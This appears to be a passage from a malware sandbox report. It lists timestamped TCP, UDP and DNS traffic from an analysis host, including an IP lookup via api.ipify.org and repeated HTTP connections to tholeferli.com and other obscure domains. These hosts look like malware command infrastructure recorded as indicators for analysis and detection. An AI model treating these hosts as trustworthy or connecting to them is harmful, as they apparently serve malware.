Jul 22, 2021 16:12:34.497389078 CEST	49346	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.497586966 CEST	80	49347	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.497665882 CEST	49347	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.498697042 CEST	49347	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.551418066 CEST	80	49347	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.654334068 CEST	80	49347	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.654449940 CEST	49347	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.879385948 CEST	49347	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.881206989 CEST	49348	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.931766033 CEST	80	49347	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.931899071 CEST	49347	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.933440924 CEST	80	49348	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:34.934237957 CEST	49348	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.935930967 CEST	49348	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:34.988163948 CEST	80	49348	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.091860056 CEST	80	49348	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.092223883 CEST	49348	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.362514019 CEST	49348	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.363219976 CEST	49349	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.414818048 CEST	80	49348	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.415029049 CEST	49348	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.415539026 CEST	80	49349	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.415739059 CEST	49349	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.416528940 CEST	49349	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.468440056 CEST	80	49349	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.574692965 CEST	80	49349	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.574917078 CEST	49349	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.804704905 CEST	49349	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.806199074 CEST	49350	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.858154058 CEST	80	49349	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.858238935 CEST	49349	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.859760046 CEST	80	49350	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:35.859843969 CEST	49350	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.860683918 CEST	49350	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:35.912725925 CEST	80	49350	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.016088963 CEST	80	49350	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.016290903 CEST	49350	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.236834049 CEST	49350	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.238334894 CEST	49351	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.289072990 CEST	80	49350	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.289149046 CEST	49350	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.290361881 CEST	80	49351	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.290461063 CEST	49351	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.291343927 CEST	49351	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.344525099 CEST	80	49351	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.460500956 CEST	80	49351	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.460578918 CEST	49351	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.672662020 CEST	49351	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.673681021 CEST	49352	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.724837065 CEST	80	49351	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.724971056 CEST	49351	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.725895882 CEST	80	49352	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.726018906 CEST	49352	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.727144957 CEST	49352	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:36.781388044 CEST	80	49352	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.894742012 CEST	80	49352	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:36.894848108 CEST	49352	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:37.285732985 CEST	49352	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:37.286758900 CEST	49353	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:37.338144064 CEST	80	49352	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:37.338274956 CEST	49352	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:37.339209080 CEST	80	49353	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:37.339376926 CEST	49353	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:37.342535019 CEST	49353	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:37.395309925 CEST	80	49353	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:37.501259089 CEST	80	49353	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:37.502389908 CEST	49353	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.058120966 CEST	49353	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.059247017 CEST	49354	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.110861063 CEST	80	49353	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.110939980 CEST	49353	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.111983061 CEST	80	49354	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.112090111 CEST	49354	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.112885952 CEST	49354	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.165004969 CEST	80	49354	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.268619061 CEST	80	49354	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.268867016 CEST	49354	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.514978886 CEST	49354	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.516073942 CEST	49355	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.568197966 CEST	80	49354	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.568280935 CEST	49354	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.568754911 CEST	80	49355	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.568916082 CEST	49355	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.569412947 CEST	49355	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.622412920 CEST	80	49355	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.741261005 CEST	80	49355	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:38.741333961 CEST	49355	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.982099056 CEST	49355	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:38.983536959 CEST	49356	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:39.034728050 CEST	80	49355	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:39.034831047 CEST	49355	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:39.035532951 CEST	80	49356	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:39.036401987 CEST	49356	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:39.036431074 CEST	49356	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:39.090308905 CEST	80	49356	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.207247019 CEST	80	49356	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.207441092 CEST	49356	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.444874048 CEST	49356	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.445635080 CEST	49357	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.499068975 CEST	80	49356	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.499311924 CEST	49356	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.499774933 CEST	80	49357	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.499865055 CEST	49357	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.500648022 CEST	49357	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.552774906 CEST	80	49357	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.669029951 CEST	80	49357	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.669164896 CEST	49357	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.888046026 CEST	49357	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.889691114 CEST	49358	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.940288067 CEST	80	49357	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.940469980 CEST	49357	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.941852093 CEST	80	49358	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:40.942074060 CEST	49358	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.945125103 CEST	49358	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:40.997324944 CEST	80	49358	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.113933086 CEST	80	49358	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.114428997 CEST	49358	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.347208023 CEST	49358	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.348275900 CEST	49359	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.400002003 CEST	80	49358	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.400090933 CEST	49358	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.400600910 CEST	80	49359	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.400686979 CEST	49359	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.403152943 CEST	49359	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.456309080 CEST	80	49359	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.561014891 CEST	80	49359	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.561269999 CEST	49359	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.781958103 CEST	49359	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.784185886 CEST	49360	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.834460974 CEST	80	49359	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.834645033 CEST	49359	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.836342096 CEST	80	49360	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.838529110 CEST	49360	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.838561058 CEST	49360	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:41.891588926 CEST	80	49360	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.995012045 CEST	80	49360	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:41.995270014 CEST	49360	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.212312937 CEST	49360	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.213701963 CEST	49361	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.264738083 CEST	80	49360	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.265153885 CEST	49360	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.265913010 CEST	80	49361	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.266227961 CEST	49361	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.266980886 CEST	49361	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.319293022 CEST	80	49361	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.422451019 CEST	80	49361	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.422637939 CEST	49361	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.652498007 CEST	49361	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.653662920 CEST	49362	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.706551075 CEST	80	49361	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.706748962 CEST	49361	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.707051992 CEST	80	49362	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.707259893 CEST	49362	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.708059072 CEST	49362	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:42.760246038 CEST	80	49362	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.866810083 CEST	80	49362	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:42.867047071 CEST	49362	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.087609053 CEST	49362	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.088988066 CEST	49363	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.139982939 CEST	80	49362	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.140100002 CEST	49362	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.141057014 CEST	80	49363	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.141207933 CEST	49363	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.142509937 CEST	49363	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.194612026 CEST	80	49363	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.311347008 CEST	80	49363	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.312232018 CEST	49363	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.537765026 CEST	49363	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.538798094 CEST	49364	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.590450048 CEST	80	49363	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.590605021 CEST	49363	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.591573000 CEST	80	49364	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.591691971 CEST	49364	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.592484951 CEST	49364	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.644747972 CEST	80	49364	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.759109974 CEST	80	49364	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:43.759407043 CEST	49364	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.976574898 CEST	49364	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:43.977813959 CEST	49365	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.029335976 CEST	80	49364	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:44.029515028 CEST	49364	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.029937029 CEST	80	49365	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:44.030117989 CEST	49365	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.030925989 CEST	49365	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.082988977 CEST	80	49365	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:44.500493050 CEST	80	49365	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:44.500722885 CEST	49365	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.727790117 CEST	49365	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.729096889 CEST	49366	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.780184031 CEST	80	49365	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:44.780308962 CEST	49365	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.781372070 CEST	80	49366	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:44.781470060 CEST	49366	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.782286882 CEST	49366	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:44.836709023 CEST	80	49366	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:45.254894972 CEST	80	49366	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:45.255105972 CEST	49366	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.537681103 CEST	49366	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.539206982 CEST	49367	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.590153933 CEST	80	49366	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:45.591068029 CEST	49366	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.594995022 CEST	80	49367	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:45.595072985 CEST	49367	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.595802069 CEST	49367	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.647969961 CEST	80	49367	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:45.752193928 CEST	80	49367	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:45.752473116 CEST	49367	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.973026037 CEST	49367	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:45.974572897 CEST	49368	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.025496960 CEST	80	49367	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.025619030 CEST	49367	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.028120041 CEST	80	49368	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.028249025 CEST	49368	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.029088974 CEST	49368	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.081290960 CEST	80	49368	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.481442928 CEST	80	49368	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.481722116 CEST	49368	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.705471992 CEST	49368	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.706924915 CEST	49369	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.759773016 CEST	80	49368	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.759804010 CEST	80	49369	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.759850979 CEST	49368	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.759921074 CEST	49369	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.760914087 CEST	49369	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:46.812992096 CEST	80	49369	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.929050922 CEST	80	49369	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:46.929282904 CEST	49369	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.140719891 CEST	49369	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.141725063 CEST	49370	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.193407059 CEST	80	49369	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:47.193540096 CEST	49369	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.193780899 CEST	80	49370	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:47.193871021 CEST	49370	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.194482088 CEST	49370	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.246736050 CEST	80	49370	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:47.664597988 CEST	80	49370	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:47.665174961 CEST	49370	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.904573917 CEST	49370	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.904663086 CEST	49371	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.957787037 CEST	80	49371	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:47.958041906 CEST	49371	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.959105015 CEST	49371	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:47.959284067 CEST	80	49370	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:47.959391117 CEST	49370	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:48.012670994 CEST	80	49371	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:48.116082907 CEST	80	49371	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:48.116338968 CEST	49371	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:48.341614008 CEST	49371	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:48.342657089 CEST	49372	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:48.395771980 CEST	80	49371	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:48.395852089 CEST	49371	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:48.396903038 CEST	80	49372	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:48.396991968 CEST	49372	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:48.397820950 CEST	49372	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:12:48.449985981 CEST	80	49372	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:49.555432081 CEST	80	49372	194.147.115.74	192.168.2.22
Jul 22, 2021 16:12:49.555520058 CEST	49372	80	192.168.2.22	194.147.115.74

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2021 16:11:03.349525928 CEST	52197	53	192.168.2.22	8.8.8.8
Jul 22, 2021 16:11:03.400099039 CEST	53	52197	8.8.8.8	192.168.2.22
Jul 22, 2021 16:11:03.917808056 CEST	53099	53	192.168.2.22	8.8.8.8
Jul 22, 2021 16:11:03.976232052 CEST	53	53099	8.8.8.8	192.168.2.22
Jul 22, 2021 16:11:04.258375883 CEST	52838	53	192.168.2.22	8.8.8.8
Jul 22, 2021 16:11:04.316255093 CEST	53	52838	8.8.8.8	192.168.2.22
Jul 22, 2021 16:11:04.316937923 CEST	52838	53	192.168.2.22	8.8.8.8
Jul 22, 2021 16:11:04.374874115 CEST	53	52838	8.8.8.8	192.168.2.22
Jul 22, 2021 16:11:05.833621025 CEST	61200	53	192.168.2.22	8.8.8.8
Jul 22, 2021 16:11:05.885163069 CEST	53	61200	8.8.8.8	192.168.2.22
Jul 22, 2021 16:11:06.360281944 CEST	49548	53	192.168.2.22	8.8.8.8
Jul 22, 2021 16:11:06.417241096 CEST	53	49548	8.8.8.8	192.168.2.22
Jul 22, 2021 16:11:07.855999947 CEST	55627	53	192.168.2.22	8.8.8.8
Jul 22, 2021 16:11:07.916183949 CEST	53	55627	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jul 22, 2021 16:11:03.349525928 CEST	192.168.2.22	8.8.8.8	0x8e4a	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.917808056 CEST	192.168.2.22	8.8.8.8	0x7ada	Standard query (0)	tholeferli.com	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:04.258375883 CEST	192.168.2.22	8.8.8.8	0xd517	Standard query (0)	s0lom0n.ru	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:04.316937923 CEST	192.168.2.22	8.8.8.8	0xd517	Standard query (0)	s0lom0n.ru	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.833621025 CEST	192.168.2.22	8.8.8.8	0x260d	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:06.360281944 CEST	192.168.2.22	8.8.8.8	0x98df	Standard query (0)	pospvisis.com	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:07.855999947 CEST	192.168.2.22	8.8.8.8	0x84b4	Standard query (0)	pospvisis.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	api.ipify.org	nagano-19599.herokussl.com		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	nagano-19599.herokussl.com	elb097307-934924932.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.88.121	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.19.92.227	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.224.49	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.225.165.85	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.168.151	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.173.155	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.246.238	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.400099039 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.216.118	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:03.976232052 CEST	8.8.8.8	192.168.2.22	0x7ada	No error (0)	tholeferli.com		194.147.115.74	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:04.316255093 CEST	8.8.8.8	192.168.2.22	0xd517	No error (0)	s0lom0n.ru		8.211.241.0	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:04.374874115 CEST	8.8.8.8	192.168.2.22	0xd517	No error (0)	s0lom0n.ru		8.211.241.0	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	api.ipify.org	nagano-19599.herokussl.com		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	nagano-19599.herokussl.com	elb097307-934924932.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.239.65	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.16.238.218	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		50.19.92.227	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.136.132	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.225.78.40	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		23.21.224.49	A (IP address)	IN (0x0001)
